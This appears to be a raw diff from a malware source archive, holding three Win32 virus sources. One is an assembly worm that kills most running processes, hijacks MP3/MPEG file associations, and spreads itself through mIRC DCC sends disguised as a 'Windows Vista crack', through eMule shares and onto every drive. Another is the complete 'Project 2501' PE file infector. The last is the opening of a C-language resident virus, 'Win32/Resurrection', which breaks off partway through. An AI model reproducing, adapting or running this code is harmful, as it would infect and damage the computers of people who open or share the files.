MIRCWORM db "[Script]",0dh,0ah ,"n0=on 1:join:#: { if ( $nick == $me ) halt",0dh,0ah ,"n1=else /dcc send $nick WINDOWS_VISTA_CRACK_CHANGE_MY_EXSTENSION_TO_EXE_TO_GO.txt",0
MP3Key1 db "SOFTWARE\Classes\mp3file\shell\open\command",0
MP3Key2 db "SOFTWARE\Classes\mp3file\shell\play\command",0
MPEGKey1 db "SOFTWARE\Classes\mpegfile\shell\open\command",0
MPEGKey2 db "SOFTWARE\Classes\mpegfile\shell\play\command",0
FD dd 00000000h
Scritti dd 00000000h
OpenMe_Path db 260 dup(?)
OpenMe db "WINDOWS_VISTA_CRACK_CHANGE_MY_EXSTENSION_TO_EXE_TO_GO.txt",0
MUT db "WOOWOO",0
MSGPayLoad db "!!!! AH...AH...this is for Pitagora ... I am Italian and you? !!!!",0
;;;;;;;;;;;;;;;;;;;
Snap dd 00000000h
TH32CS_SNAPPROCESS EQU 00000002h
PROCESS_TERMINATE equ 00000001h
PROCESSENTRY32 struct
dwSize DD 0
cntUsage DD 0
th32ProcessID DD 0
th32DefaultHeapID DD 0
th32ModuleID DD 0
cntThreads DD 0
th32ParentProcessID DD 0
pcPriClassBase DD 0
dwFlags DD 0
szExeFile DB MAX_PATH DUP(0)
PROCESSENTRY32 ends
prentry PROCESSENTRY32 <>
MyID dd 00000000h
EX db "explorer.exe",0
p_RET dd 00000000h
;;;;;;;;;;;;;;;;;;;
.code
Pitagora:
Sono_Solo:
push offset MUT
push 00000001h
push 00000000h
call CreateMutexA
call GetLastError
cmp eax,ERROR_ALREADY_EXISTS
je Esci
Ottieni_path:
call GetCommandLineA
push eax
push offset MyPath
call lstrcpy
push offset MyPath
call lstrlen
xor ebx,ebx
mov [MyPath+eax-2],bh
push offset [MyPath+1]
push offset MyPath
call lstrcpy
Ottieni_path_OS:
push 260
push offset WinPATH
call GetWindowsDirectoryA
push offset WinPATH
push offset CheckFilePath
call lstrcpy
push 260
push offset SysPATH
call GetSystemDirectoryA
Crea_Path_Worms:
push offset WormName1
push offset WinPATH
call lstrcat
push offset WormName2
push offset SysPATH
call lstrcat
Anti_AntiVirus:
call FuckAV ; ... termina i processi non graditi ...
Controlla_Se_Infetto:
push offset CheckFile
push offset CheckFilePath
call lstrcat
push 00000000h
push 00000000h
push OPEN_EXISTING
push 00000000h
push FILE_SHARE_READ
push GENERIC_READ
push offset CheckFilePath
call CreateFileA
cmp eax,-1
jne Worming
push 00000000h
push 00000000h
push CREATE_NEW
push 00000000h
push FILE_SHARE_WRITE
push GENERIC_WRITE
push offset CheckFilePath
call CreateFileA
push eax
call CloseHandle
Copia_file:
push 00000000h
push offset WinPATH
push offset MyPath
call CopyFileA
push 00000000h
push offset SysPATH
push offset MyPath
call CopyFileA
StartupAutomatico:
push offset HKey
push offset StartUpKey
push HKEY_LOCAL_MACHINE
call RegOpenKeyA
cmp eax,0
jne Esci
push offset SysPATH
call lstrlen
mov ebx,1
add eax,ebx
push eax
push offset SysPATH
push REG_SZ
push 00000000h
push offset KeyName
push HKey
call RegSetValueExA
push HKey
call RegCloseKey
Esci:
push 00000000h
push offset Msg
push offset Titolo
push 00000000h
call ShellAboutA
xor edx,edx
push edx
call ExitProcess
Worming:
push eax
call CloseHandle
INFETTA_MIRC:
push offset HKey
push offset MircKey
push HKEY_LOCAL_MACHINE
call RegOpenKeyA
cmp eax,0
jne INFETTA_EMULE
push offset BufLen
push offset MircPath
push 00000000h
push 00000000h
push offset MircKeyName
push HKey
call RegQueryValueExA
cmp eax,0
jne INFETTA_EMULE
push HKey
call RegCloseKey
push offset [MircPath+1]
push offset [MircPath]
call lstrcpy
push offset MircPath
xor ecx,ecx
Fuck:
cmp byte ptr[MircPath+ecx],'"'
je OK
inc ecx
jmp Fuck
OK:
xor ebx,ebx
mov [MircPath+ecx],bh
xor ecx,ecx
Fuck2:
cmp byte ptr[MircPath+ecx],'.'
je OK2
inc ecx
jmp Fuck2
OK2:
xor ebx,ebx
mov [MircPath+ecx-4],bh
push offset MircPath
push offset OpenMe_Path
call lstrcpy
push offset OpenMe
push offset OpenMe_Path
call lstrcat
push offset ScriptIni
push offset MircPath
call lstrcat
push 00000000h
push 00000000h
push CREATE_ALWAYS
push 00000000h
push FILE_SHARE_WRITE
push GENERIC_WRITE
push offset MircPath
call CreateFileA
cmp eax,-1
je INFETTA_EMULE
mov FD,eax
push 00000000h
push offset Scritti
push offset MIRCWORM
call lstrlen
push eax
push offset MIRCWORM
push FD
call WriteFile
push FD
call CloseHandle
push offset MircPath
call lstrlen
push offset [MircPath+eax-11]
push offset MircPath
call lstrcpy
push 00000000h
push offset OpenMe_Path
push offset MyPath
call CopyFileA
INFETTA_EMULE:
push offset HKey
push offset EmuleKey
push HKEY_CURRENT_USER
call RegOpenKeyA
cmp eax,0
jne MP3_FUCKING
push offset BufLen
push offset EmulePath
push 00000000h
push 00000000h
push offset EmuleKeyName
push HKey
call RegQueryValueExA
cmp eax,0
jne MP3_FUCKING
push offset EmuleWorm
push offset EmulePath
call lstrcat
push 00000000h
push offset EmulePath
push offset MyPath
call CopyFileA
MP3_FUCKING:
push offset HKey
push offset MP3Key1
push HKEY_LOCAL_MACHINE
call RegOpenKeyA
cmp eax,0
jne MPEG_FUCKING
push offset WinPATH
call lstrlen
push eax
push offset WinPATH
push REG_SZ
push 00000000h
push HKey
call RegSetValueA
push HKey
call RegCloseKey
push offset HKey
push offset MP3Key2
push HKEY_LOCAL_MACHINE
call RegOpenKeyA
cmp eax,0
jne MPEG_FUCKING
push offset WinPATH
call lstrlen
push eax
push offset WinPATH
push REG_SZ
push 00000000h
push HKey
call RegSetValueA
push HKey
call RegCloseKey
MPEG_FUCKING:
push offset HKey
push offset MPEGKey1
push HKEY_LOCAL_MACHINE
call RegOpenKeyA
cmp eax,0
jne Vai
push offset WinPATH
call lstrlen
push eax
push offset WinPATH
push REG_SZ
push 00000000h
push HKey
call RegSetValueA
push HKey
call RegCloseKey
push offset HKey
push offset MPEGKey2
push HKEY_LOCAL_MACHINE
call RegOpenKeyA
cmp eax,0
jne Vai
push offset WinPATH
call lstrlen
push eax
push offset WinPATH
push REG_SZ
push 00000000h
push HKey
call RegSetValueA
push HKey
call RegCloseKey
Vai:
push offset Tid
push 00000000h
push 00000000h
push offset Copiati
push 00000000h
push 00000000h
call CreateThread
push offset Tid
push 00000000h
push 00000000h
push offset PayLoad
push 00000000h
push 00000000h
call CreateThread
Dormi:
push 186a0h
call Sleep
xor ecx,ecx
cmp ecx,0
je Dormi
;;;; Thread di autocopia ;;;;
Copiati PROC
Copia:
mov ch,'C'
mov Drive,ch
mov [CopyName+0],ch
xor ebx,ebx
Tutti_I_drives:
push 00000000h
push offset CopyName
push offset MyPath
call CopyFileA
push 4e20h
call Sleep
add Drive,1
mov ch,Drive
mov [CopyName+0],ch
cmp ch,'Z'+1
jne Tutti_I_drives
cmp ebx,0
je Copia
Copiati ENDP
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;; PayLoad ;;;;
PayLoad PROC
Loop:
xor ecx,ecx
push 1200000
call Sleep
push 00000000h
push offset MSGPayLoad
push offset Titolo
push 00000000h
call ShellAboutA
cmp ecx,0
je Loop
PayLoad ENDP
;;;;;;;;;;;;;;;;;
FuckAV PROC
My_ID:
call GetCurrentProcessId
mov MyID,eax
Inializza:
push 00000000h
push TH32CS_SNAPPROCESS
call CreateToolhelp32Snapshot
cmp eax,-1
je Ritorna
mov Snap,eax
Primo:
push offset prentry
push Snap
mov prentry.dwSize,296
call Process32First
cmp eax,0
je Ritorna
Altri:
push offset prentry
push Snap
mov prentry.dwSize,296
call Process32Next
mov p_RET,eax
Controlla_se_explorer:
push offset prentry.szExeFile
push offset EX
call lstrcmpi
cmp eax,0
je Ancora
Controlla_id:
mov edx,MyID
cmp edx,prentry.th32ProcessID
je Ancora
Termina:
push dword ptr[prentry.th32ProcessID]
push 00000000h
push PROCESS_TERMINATE
call OpenProcess
push 00000000h
push eax
call TerminateProcess
Ancora:
cmp p_RET,0
jne Altri
Ritorna:
ret
FuckAV ENDP
;;;;;;;;;;;;;;;;;
end Pitagora

3192
Win32/Win32.Plexar.asm Normal file

File diff suppressed because it is too large Load Diff

2327
Win32/Win32.PolutoSP.asm Normal file

File diff suppressed because it is too large Load Diff

578
Win32/Win32.Project2501.asm Normal file

@ -0,0 +1,578 @@
comment *
Name: Project 2501
OS: Win32
Coder Belial
Heya ,
this is my first Pe-infector.Wow ,a great feeling
to have finished it.
Credits go out to Lord Julus and BillyBelcebub ,because
of their win32 tuturials.Without them ,i would never
have finished this creation.It took me nearly a year to of reading
to understand all the important aspects of Win32-Assembly.
Greetings go out Wallo ,Raven and the whole Virus-channel on undernet.
Also greetings to BillyBoy from Micro$oft.Thanx for your
nice viriiparadise-OS.But not soooooo much bugs in future ,ok?
I tested this virus only under Win98 ,so I dont know
wether it works under WinME ,WinNT or Win95.But Im sure somebody will try
it out.
The Virus is a runtime exe infector.It infects all files
in current dir and all his subdirectories.After this ,it makes
one dotdot and infects new files and subdirs until it is
in c:\ or five dotdots are done.The only payload my virus has
is a directory on the desktop named "Project2501".It is
created each run.Im thinking of putting a txtfile
in this directory ,but I have no real motivation
at the moment.A bedder payload is in progress.And
a nice encryption ,I hope.If you think this virus
may be a bit incomplete (no encryption and no kewl
payload) than i have to say:
With releasing this source i release a loaded
gun.In the wrong hands ,it could be awful for some
harmless user.So if I release guns I dont want to release
"full-automatic-guns" .Thats for now
BeLiAL
*
.586
.model flat
.data
db 0
db 'This is the first generation of project2501'
.code
start:
call delta_setup
delta_setup:
pop ebp
sub ebp,offset delta_setup
get_those_apis:
mov eax,dword ptr [esp]
and eax,0ffff0000h
mov ecx,0
call find_mz_and_pe
call find_all_apis
Infection_part:
mov byte ptr [ebp+dir_counter],0
mov byte ptr [ebp+am_i_up],0
mov eax,dword ptr [ebp+image_base]
mov dword ptr [ebp+image_base2],eax
mov eax,dword ptr [ebp+old_entry_point]
mov dword ptr [ebp+old_entry_point2],eax
call seek_and_destroy
payload_part:
call payload
reanimation_part:
cmp ebp,0
je exit_here
mov eax,dword ptr [ebp+image_base2]
add eax,dword ptr [ebp+old_entry_point2]
jmp eax
exit_here:
push 0
call [ebp+ExitProcess]
find_mz_and_pe proc
add ecx,1
cmp ecx,11
je mz_not_found
mov bx,word ptr [eax]
cmp bx,'ZM'
je find_the_pe
sub eax,010000h
jmp find_mz_and_pe
find_the_pe:
mov esi,eax
mov ebx,dword ptr [eax+3ch]
add eax,ebx
mov bx,word ptr [eax]
cmp bx,'EP'
jne mz_not_found
mov dword ptr [ebp+kernelbase],esi
mov dword ptr [ebp+kernelpeheader],eax
ret
mz_not_found:
jmp reanimation_part
find_mz_and_pe endp
find_apis proc
pop esi
pop eax
mov dword ptr [ebp+apinameoffset],eax
pop eax
mov dword ptr [ebp+apilenght],eax
pop eax
mov dword ptr [ebp+putitthere],eax
push esi
mov eax,dword ptr [ebp+kernelpeheader]
mov esi,dword ptr [eax+78h]
add esi,dword ptr [ebp+kernelbase]
add esi,1ch
mov eax,dword ptr [esi]
add eax,dword ptr [ebp+kernelbase]
mov dword ptr [ebp+adress_table_VA],eax
add esi,4
mov eax,dword ptr [esi]
add eax,dword ptr [ebp+kernelbase]
mov dword ptr [ebp+name_table_VA],eax
add esi,4
mov eax,dword ptr [esi]
add eax,dword ptr [ebp+kernelbase]
mov dword ptr [ebp+ordinal_table_VA],eax
mov esi,dword ptr [ebp+name_table_VA]
mov dword ptr [ebp+apicounter],00000000h
find_the_name:
push esi
mov eax,dword ptr [esi]
add eax,dword ptr [ebp+kernelbase]
mov esi,eax
mov edi,dword ptr [ebp+apinameoffset]
mov ecx,0
mov cl,byte ptr [ebp+apilenght]
cld
rep cmpsb
jz we_found_it
pop esi
add esi,4
inc dword ptr [ebp+apicounter]
jmp find_the_name
we_found_it:
pop esi ;taken from BillyBel
mov eax,dword ptr [ebp+apicounter]
shl eax,1
add eax,dword ptr [ebp+ordinal_table_VA]
mov esi,0
xchg eax,esi
lodsw
shl eax,2
add eax,dword ptr [ebp+adress_table_VA]
mov esi,eax
lodsd
add eax,dword ptr [ebp+kernelbase]
mov ecx,dword ptr [ebp+putitthere]
mov dword ptr [ecx],eax
ret
find_apis endp
find_all_apis proc
lea eax,[ebp+offset ExitProcess]
push eax
push dword ptr [ebp+exitprocesslenght]
lea eax,[ebp+offset _ExitProcess]
push eax
call find_apis
lea eax,[ebp+offset FindFirstFileA]
push eax
push dword ptr [ebp+findfirstfilelenght]
lea eax,[ebp+offset _FindFirstFileA]
push eax
call find_apis
lea eax,[ebp+offset FindNextFileA]
push eax
push dword ptr [ebp+findnextfilelenght]
lea eax,[ebp+offset _FindNextFileA]
push eax
call find_apis
lea eax,[ebp+offset CreateFileA]
push eax
push dword ptr [ebp+createfilelenght]
lea eax,[ebp+offset _CreateFileA]
push eax
call find_apis
lea eax,[ebp+offset CloseHandle]
push eax
push dword ptr [ebp+closehandlelenght]
lea eax,[ ebp+offset _CloseHandle]
push eax
call find_apis
lea eax,[ebp+offset CreateFileMappingA]
push eax
push dword ptr [ebp+createfilemappinglenght]
lea eax,[ebp+offset _CreateFileMappingA]
push eax
call find_apis
lea eax,[ebp+offset MapViewOfFile]
push eax
push dword ptr [ebp+mapviewoffilelenght]
lea eax,[ebp+offset _MapViewOfFile]
push eax
call find_apis
lea eax,[ebp+offset UnmapViewOfFile]
push eax
push dword ptr [ebp+unmapviewoffilelenght]
lea eax,[ebp+offset _UnmapViewOfFile]
push eax
call find_apis
lea eax,[ebp+offset GetFileSize]
push eax
push dword ptr [ebp+getfilesizelenght]
lea eax,[ebp+offset _GetFileSize]
push eax
call find_apis
lea eax,[ebp+offset SetFilePointer]
push eax
push dword ptr [ebp+setfilepointerlenght]
lea eax,[ebp+offset _SetFilePointer]
push eax
call find_apis
lea eax,[ebp+offset SetEndOfFile]
push eax
push dword ptr [ebp+setendoffilelenght]
lea eax,[ebp+offset _SetEndOfFile]
push eax
call find_apis
lea eax,[ebp+offset SetCurrentDirectoryA]
push eax
push dword ptr [ebp+setcurrentdirectorylenght]
lea eax,[ebp+offset _SetCurrentDirectoryA]
push eax
call find_apis
lea eax,[ebp+offset CreateDirectoryA]
push eax
push dword ptr [ebp+createdirectorylenght]
lea eax,[ebp+offset _CreateDirectoryA]
push eax
call find_apis
ret
find_all_apis endp
seek_and_destroy proc
find_first_file:
mov byte ptr [ebp+infection_flag],0
lea eax,[ebp+offset FindFileData]
push eax
lea eax,[ebp+offset tosearch]
push eax
call [ebp+FindFirstFileA]
mov dword ptr [ebp+findfilehandle],eax
inc eax
jz no_files_left
jmp open_the_file
find_next_file:
mov byte ptr [ebp+infection_flag],0
lea eax,[ebp+offset FindFileData]
push eax
push dword ptr [ebp+findfilehandle]
call [ebp+FindNextFileA]
test eax,eax
jz no_files_left
open_the_file:
push 0
push 0
push 3
push 0
push 1
push 80000000h + 40000000h
lea eax,[ebp+offset FindFileData.cFileName]
push eax
call [ebp+CreateFileA]
cmp eax,0ffffffffh
je find_next_file
mov dword ptr [ebp+filehandle],eax
push 0
push dword ptr [ebp+filehandle]
Call [ebp+GetFileSize]
calculate_new_size:
mov dword ptr [ebp+thefilesize],eax
add eax,virus_end-start
add eax,100
now_make_file_mapping:
push 0
push eax
push 0
push 4
push 0
push dword ptr [ebp+filehandle]
call [ebp+CreateFileMappingA]
mov dword ptr [ebp+filemappinghandle],eax
mov eax,dword ptr [ebp+thefilesize]
add eax,virus_end-start
add eax,100
push eax
push 0
push 0
push 2
push dword ptr [ebp+filemappinghandle]
call [ebp+MapViewOfFile]
mov dword ptr [ebp+mapadress],eax
cmp word ptr [eax],'ZM'
jne search_another
mov ebx,0
mov bx,word ptr [eax+3ch]
cmp word ptr [eax+ebx],'EP'
jne search_another
cmp word ptr [eax+38h],'AA'
je search_another
call infect_file
search_another:
cmp byte ptr [ebp+infection_flag],1
je close_normal
call close_not_normal
close_normal:
push dword ptr [ebp+mapadress]
call [ebp+UnmapViewOfFile]
push dword ptr [ebp+filemappinghandle]
call [ebp+CloseHandle]
push dword ptr [ebp+filehandle]
call [ebp+CloseHandle]
jmp find_next_file
no_files_left:
cmp byte ptr [ebp+am_i_up],1
je go_down
lea eax,[ebp+offset FindFileData]
push eax
lea eax,[ebp+offset allfiles]
push eax
call [ebp+FindFirstFileA]
mov dword ptr [ebp+dir_search_handle],eax
inc eax
jz no_dirs_left
cmp byte ptr [ebp+FindFileData.cFileName],'.'
je find_next_dir
jmp is_it_dir
find_next_dir:
lea eax,[ebp+offset FindFileData]
push eax
push dword ptr [ebp+dir_search_handle]
call [ebp+FindNextFileA]
test eax,eax
jz no_dirs_left
cmp byte ptr [ebp+FindFileData.cFileName],'.'
je find_next_dir
is_it_dir:
cmp dword ptr [ebp+FindFileData.dwFileAttributes],10h
je it_is_dir
jmp find_next_dir
it_is_dir:
lea eax,[ebp+FindFileData.cFileName]
push eax
call [ebp+SetCurrentDirectoryA]
mov byte ptr [ebp+am_i_up],1
jmp find_first_file
no_dirs_left:
lea eax,[ebp+offset dotdot]
push eax
call [ebp+SetCurrentDirectoryA]
add byte ptr [ebp+dir_counter],1
cmp byte ptr [ebp+dir_counter],5
je all_for_now
mov byte ptr [ebp+am_i_up],0
jmp find_first_file
all_for_now:
ret
go_down:
lea eax,[ebp+offset dotdot]
push eax
call [ebp+SetCurrentDirectoryA]
mov byte ptr [ebp+am_i_up],0
jmp find_next_dir
seek_and_destroy endp
close_not_normal proc
push 0
push 0
push dword ptr [ebp+thefilesize]
push dword ptr [ebp+filehandle]
call [ebp+SetFilePointer]
push dword ptr [ebp+filehandle]
call [ebp+SetEndOfFile]
ret
close_not_normal endp
infect_file proc
mov byte ptr [ebp+infection_flag],1
mov eax,dword ptr [ebp+mapadress]
mov word ptr [eax+38h],'AA'
mov edi,0
mov di,word ptr [eax+3ch]
add eax,edi ;peheader at eax
mov dword ptr [ebp+peheader_offset],eax
mov esi,dword ptr [eax+28h]
mov dword ptr [ebp+old_entry_point],esi
mov esi,dword ptr [eax+3ch]
mov dword ptr [ebp+file_allign],esi
mov esi,dword ptr [eax+34h]
mov dword ptr [ebp+image_base],esi
mov esi,eax
go_to_last_section:
mov ebx,dword ptr [esi+74h]
shl ebx,3
mov eax,0
mov ax,word ptr [esi+6h]
dec eax
mov ecx,28h
mul ecx
add esi,78h
add esi,ebx
add esi,eax
modify_it:
or dword ptr [esi+24h],00000020h
or dword ptr [esi+24h],20000000h
or dword ptr [esi+24h],80000000h
mov eax, [esi+10h] ;code taken from Lord Julus (im not good in math)
mov dword ptr [ebp+old_raw_size],eax
add dword ptr [esi+8h],(offset virus_end - offset start)
mov eax,dword ptr [esi+8h]
mov ecx,dword ptr [ebp+file_allign]
div ecx
mov ecx,dword ptr [ebp+file_allign]
sub ecx,edx
mov dword ptr [esi+10h],eax
mov eax,dword ptr [esi+8h]
add eax,dword ptr [esi+10h]
mov dword ptr [esi+10h],eax
mov dword ptr [ebp+new_raw_size],eax
mov eax,dword ptr [esi+0ch]
add eax,dword ptr [esi+8h]
sub eax,(offset virus_end-offset start)
mov dword ptr [ebp+new_entry],eax
mov eax,dword ptr [ebp+old_raw_size]
mov ebx,dword ptr [ebp+new_raw_size]
sub ebx,eax
mov dword ptr [ebp+inc_raw_size],ebx
mov eax,dword ptr [esi+14h]
add eax,dword ptr [ebp+new_raw_size]
mov dword ptr [ebp+new_file_size],eax
mov eax,dword ptr [esi+14h]
add eax,dword ptr [esi+8]
sub eax,(offset virus_end-offset start)
add eax,dword ptr [ebp+mapadress]
mov edi,eax
lea esi,[ebp+offset start]
mov ecx,(offset virus_end-offset start)
rep movsb
mov esi,dword ptr [ebp+peheader_offset]
mov eax,dword ptr [ebp+new_entry]
mov dword ptr [esi+28h],eax
mov eax,dword ptr [ebp+inc_raw_size]
add dword ptr [esi+50h],eax
ret
infect_file endp
payload proc
push 0
lea eax,[ebp+offset dir_name]
push eax
call [ebp+CreateDirectoryA]
ret
payload endp
new_file_size dd 0
inc_raw_size dd 0
new_entry dd 0
new_raw_size dd 0
old_raw_size dd 0
file_allign dd 0
peheader_offset dd 0
image_base dd 0
old_entry_point dd 0
image_base2 dd 0
old_entry_point2 dd 0
kernelbase dd 0
kernelpeheader dd 0
adress_table_VA dd 0
name_table_VA dd 0
ordinal_table_VA dd 0
apicounter dd 00000000h
apinameoffset dd 0
apilenght dd 0
putitthere dd 0
ExitProcess dd 00000000h
_ExitProcess db 'ExitProcess',0
exitprocesslenght dd 12
FindFirstFileA dd 00000000h
_FindFirstFileA db 'FindFirstFileA',0
findfirstfilelenght dd 15
FindNextFileA dd 00000000h
_FindNextFileA db 'FindNextFileA',0
findnextfilelenght dd 14
CreateFileA dd 00000000h
_CreateFileA db 'CreateFileA',0
createfilelenght dd 12
CloseHandle dd 00000000h
_CloseHandle db 'CloseHandle',0
closehandlelenght dd 12
CreateFileMappingA dd 00000000h
_CreateFileMappingA db 'CreateFileMappingA',0
createfilemappinglenght dd 19
MapViewOfFile dd 00000000h
_MapViewOfFile db 'MapViewOfFile',0
mapviewoffilelenght db 14
UnmapViewOfFile dd 00000000h
_UnmapViewOfFile db 'UnmapViewOfFile',0
unmapviewoffilelenght dd 16
GetFileSize dd 00000000h
_GetFileSize db 'GetFileSize',0
getfilesizelenght dd 12
SetEndOfFile dd 00000000h
_SetEndOfFile db 'SetEndOfFile',0
setendoffilelenght dd 13
SetFilePointer dd 00000000h
_SetFilePointer db 'SetFilePointer',0
setfilepointerlenght dd 15
SetCurrentDirectoryA dd 0
_SetCurrentDirectoryA db 'SetCurrentDirectoryA',0
setcurrentdirectorylenght dd 21
CreateDirectoryA dd 0
_CreateDirectoryA db 'CreateDirectoryA',0
createdirectorylenght dd 17
mapadress dd 0
infection_flag db 0
tosearch db '*.EXE',0
findfilehandle dd 0
filehandle dd 0
thefilesize dd 0
filemappinghandle dd 0
credit db 'Project2501 was coded by BeLiAL'
db 'Greetings to a nice girl from scandinavia'
dotdot db '..',0
allfiles db '*.*',0
dir_search_handle dd 0
am_i_up db 0
dir_name db 'c:\windows\desktop\Project2501',0
dir_counter db 0
MAX_PATH EQU 260
FILETIME struct
dwLowDateTime DWORD ?
dwHighDateTime DWORD ?
FILETIME ends
WIN32_FIND_DATA struct
dwFileAttributes DWORD ?
ftCreationTime FILETIME <>
ftLastAccessTime FILETIME <>
ftLastWriteTime FILETIME <>
nFileSizeHigh DWORD ?
nFileSizeLow DWORD ?
dwReserved0 DWORD ?
dwReserved1 DWORD ?
cFileName BYTE MAX_PATH dup(?)
cAlternate BYTE 0eh dup(?)
ends
FindFileData WIN32_FIND_DATA <>
virus_end:
end start

1820
Win32/Win32.Rainsong.asm Normal file

File diff suppressed because it is too large Load Diff

10504
Win32/Win32.Rammstien.asm Normal file

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

@ -0,0 +1,704 @@
////////////////////////////////////////////////////////////////////
//
// Win32/Resurrection
//
// Coded in late June'99/July'99/[VX vacations]/December'99
//
// (c)1999 Tcp/29A (tcp@cryogen.com)
//
// This is my 1st Windows virus (at last:) and the first coded by
// me in the last 2 years.
//
// It is a PE memory resident appending virus fully written in C.
// I think it's the first virus written in C that doesn't change
// the NewExe pointer.
// It could be also the 1st resident virus for Alpha machines running
// NT. If you can compile and test it in Alpha, please send me a mail.
//
//
// How the virus work?
// - It creates a low priority thread that searchs and infects files.
// - It adds its sections reading them from memory, relocates the
// code/data and fixes the relocs (then the virus needs always
// its own reloc section).
// It imports the host import section, replacing the ExitProcess
// call to ExitThread; then the virus will be the main thread and
// it can continue searching for files even when host has finnished.
// - If the file's last section is the reloc section, the virus
// joins this section with its reloc section so if the file is
// not loaded at its preferred address the system will reloc it
// and the virus.
//
// The virus is called Resurrection because it's my resurrection in
// the VX scene.
// Unfortunately, I hadn't time to code the Resurrection payload:
// using OLE automation and the C:\CLASS.SYS from W97M/Class (or
// the one from Ethan) it could resurrect the virus.
// Then I coded a simple payload that changes the captions in
// MessageBoxes used by the host.
//
// Sorry for the obfuscated C and poorly optimized code, but it
// works (i hope) and, hey, it's a virus :)
//
// This virus is dedicated to Jacky Qwerty, we'll miss you. And to
// 29Aers for don't kicking a lazy and improductive member as I am ;)
//
// Well, now i got another 2 years credit hahaha (not!)
//
// Tcp.
//
////////////////////////////////////////////////////////////////////
/////////////
// Includes
/////////////
#include <stdio.h>
#include <windows.h>
/////////////////////
// Defines
/////////////////////
#define MEMALLOC(x) GlobalAlloc(GPTR, x)
#define MEMFREE(x) GlobalFree(x)
/////////////////////
// Type definitions
/////////////////////
typedef struct
{
WORD RelocOfs : 12;
WORD RelocType: 4;
} IMAGE_RELOCATION_DATA;
////////////
// Globals
////////////
IMAGE_NT_HEADERS PEHeader;
IMAGE_DOS_HEADER * IDosHeader;
IMAGE_NT_HEADERS * IPEHeader;
IMAGE_SECTION_HEADER * ISection;
IMAGE_SECTION_HEADER * Section = NULL;
int Generation = 1;
int VirusSections = 0;
int FirstVirusSection = 0;
int VirusCodeSection = 0;
int VirusImportSection = 0;
DWORD VirusImportSize = 0;
DWORD VirusRVAImports = 0;
DWORD HostRVAImports = 0;
int VirusRelocSection = 0;
DWORD VirusRelocSize = 0;
DWORD VirusRelocSizeDir = 0;
DWORD OfsSections = 0;
DWORD VirusBaseRVA = 0;
DWORD VirusEP = 0;
DWORD HostEP = 0;
//// Fix for Visual C 5.0 heap
//extern __small_block_heap;
//////////////
// Functions
//////////////
/////////////////////////////////////
// GetProcAddress for ordinal imports
/////////////////////////////////////
DWORD GetProcAddressOrd(DWORD Base, DWORD NFunc)
{
IMAGE_NT_HEADERS * DLLHeader;
IMAGE_EXPORT_DIRECTORY * Exports;
DWORD * AddrFunctions;
DLLHeader = (IMAGE_NT_HEADERS *)(Base + ((IMAGE_DOS_HEADER *)Base)->e_lfanew);
Exports = (IMAGE_EXPORT_DIRECTORY *)(Base + DLLHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
AddrFunctions = (DWORD *)(Base + Exports->AddressOfFunctions);
return Base + AddrFunctions[NFunc - Exports->Base];
}
//////////////////////////////////
// Check file and read PE header
//////////////////////////////////
int ReadPEHeader(HANDLE FHandle)//FILE * FHandle)
{
IMAGE_DOS_HEADER FileHeader;
WORD SizeSections;
DWORD BytesRead;
return
( // Read file header
( ReadFile(FHandle, &FileHeader, sizeof(IMAGE_DOS_HEADER), &BytesRead, NULL) )
&&
( BytesRead == sizeof(IMAGE_DOS_HEADER) )
&& // Check if EXE file
( FileHeader.e_magic == IMAGE_DOS_SIGNATURE )
&& // Seek to NewExe header
( SetFilePointer(FHandle, FileHeader.e_lfanew, NULL, FILE_BEGIN) != (DWORD)-1 )
&& // Read header
( ReadFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL) )
&&
( BytesRead == sizeof(IMAGE_NT_HEADERS) )
&& // Check if PE file
( PEHeader.Signature == IMAGE_NT_SIGNATURE )
&& // Alloc memory for file sections + virus sections
( (SizeSections = (PEHeader.FileHeader.NumberOfSections + VirusSections) * sizeof(IMAGE_SECTION_HEADER)) )
&&
( (Section = MEMALLOC(SizeSections)) != NULL )
&&
( (OfsSections = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT)) )
&& // Read PE sections
( ReadFile(FHandle, Section, SizeSections, &BytesRead, NULL) )
&&
( BytesRead == SizeSections )
&& // Check if there is enough room for our sections
( (SetFilePointer(FHandle, 0, NULL, FILE_CURRENT) + (VirusSections * sizeof(IMAGE_SECTION_HEADER))) <= PEHeader.OptionalHeader.SizeOfHeaders )
&& // Only infect when entry point belongs to 1st section
// Avoid reinfections and compressors (usually perform virus checks)
( PEHeader.OptionalHeader.AddressOfEntryPoint < Section[0].VirtualAddress + Section[0].SizeOfRawData )
&& // Skip DDLs
( !(PEHeader.FileHeader.Characteristics & IMAGE_FILE_DLL) )
&& // Skip files with overlays or not aligned to file alignment
( SetFilePointer(FHandle, 0, NULL, FILE_END) == Section[PEHeader.FileHeader.NumberOfSections-1].PointerToRawData + Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
&& //Check if the host will overwrite our code with its unitialized data (not present in disk)
( Section[PEHeader.FileHeader.NumberOfSections-1].Misc.VirtualSize <= Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
);
}
///////////////////////////////////////
// Translates a RVA into a file offset
///////////////////////////////////////
DWORD RVA2Ofs(DWORD rva)
{
int NSect;
NSect = 0;
while ( NSect < (PEHeader.FileHeader.NumberOfSections - 1) )
{
if ( (Section[NSect].VirtualAddress + Section[NSect].SizeOfRawData) >= rva )
break;
NSect++;
}
return (Section[NSect].PointerToRawData + ( rva - Section[NSect].VirtualAddress ));
}
////////////////////////////////////////////
// I can't remember what this function does
////////////////////////////////////////////
void InfectFile(HANDLE FHandle)
{
BYTE * Relocations = NULL;
BYTE * HostRelocs = NULL;
BYTE * Ptr;
IMAGE_BASE_RELOCATION * RelocBlock;
IMAGE_RELOCATION_DATA * PtrReloc;
int j;
// Let's do some initializations
Section = NULL;
Relocations = NULL;
HostRelocs = NULL;
Ptr = NULL;
if (ReadPEHeader(FHandle))
{
DWORD SectionRVA;
int HostNSections;
DWORD HostRelocsSize;
DWORD BytesRead;
int i;
HostEP = PEHeader.OptionalHeader.AddressOfEntryPoint;
HostNSections = PEHeader.FileHeader.NumberOfSections;
HostRVAImports = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
// Search for victim import section
for (i=0; i<HostNSections; i++)
{
if (Section[i].VirtualAddress + Section[i].SizeOfRawData > HostRVAImports)
{
